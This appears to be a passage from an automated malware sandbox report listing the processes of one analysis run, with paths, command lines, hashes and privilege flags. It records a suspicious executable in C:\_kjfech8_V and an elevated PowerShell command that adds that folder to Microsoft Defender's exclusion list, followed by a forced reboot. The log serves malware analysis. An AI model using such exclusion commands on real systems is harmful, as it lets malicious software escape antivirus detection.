Commandline:	powershell.exe -nop -win 1 -
Imagebase:	0x7ff7245a0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	9
Start time:	18:22:03
Start date:	26/10/2024
Path:	C:\_kjfech8_V\_kjfech8_Vi7.exe
Wow64 process (32bit):	true
Commandline:	"C:\_kjfech8_V\_kjfech8_Vi7.exe"
Imagebase:	0xd00000
File size:	15'936 bytes
MD5 hash:	4AFCAB972E98ECBF855F915B2739F508
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Target ID:	10
Start time:	18:22:03
Start date:	26/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff742170000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	11
Start time:	18:22:03
Start date:	26/10/2024
Path:	C:\_kjfech8_V\_kjfech8_Vi7.exe
Wow64 process (32bit):	true
Commandline:	"C:\_kjfech8_V\_kjfech8_Vi7.exe"
Imagebase:	0xd00000
File size:	15'936 bytes
MD5 hash:	4AFCAB972E98ECBF855F915B2739F508
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	moderate
Has exited:	true

Target ID:	12
Start time:	18:22:03
Start date:	26/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff742170000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	13
Start time:	18:22:03
Start date:	26/10/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\_kjfech8_V"
Imagebase:	0xaf0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	14
Start time:	18:22:04
Start date:	26/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff742170000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	17
Start time:	18:22:04
Start date:	26/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 1492 -s 1184
Imagebase:	0x2d0000
File size:	482'640 bytes
MD5 hash:	40A149513D721F096DDF50C04DA2F01F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	18
Start time:	18:22:05
Start date:	26/10/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff6a4320000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	19
Start time:	18:22:33
Start date:	26/10/2024
Path:	C:\Windows\System32\shutdown.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\shutdown.exe" /r /t 10
Imagebase:	0x7ff652020000
File size:	28'160 bytes
MD5 hash:	F2A4E18DA72BB2C5B21076A5DE382A20
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	20
Start time:	18:22:59
Start date:	26/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -NoProfile -ExecutionPolicy Bypass -Command "$psakeDir = ([array](dir """C:\Users\user\Desktop\vendor\packages\psake.*"""))[-1]; ".$psakeDir\tools\psake.ps1" build.psake.ps1 -ScriptPath "$psakeDir\tools" ; if ($psake.build_success -eq $false) { exit 1 } else { exit 0 }"
Imagebase:	0x7ff7245a0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true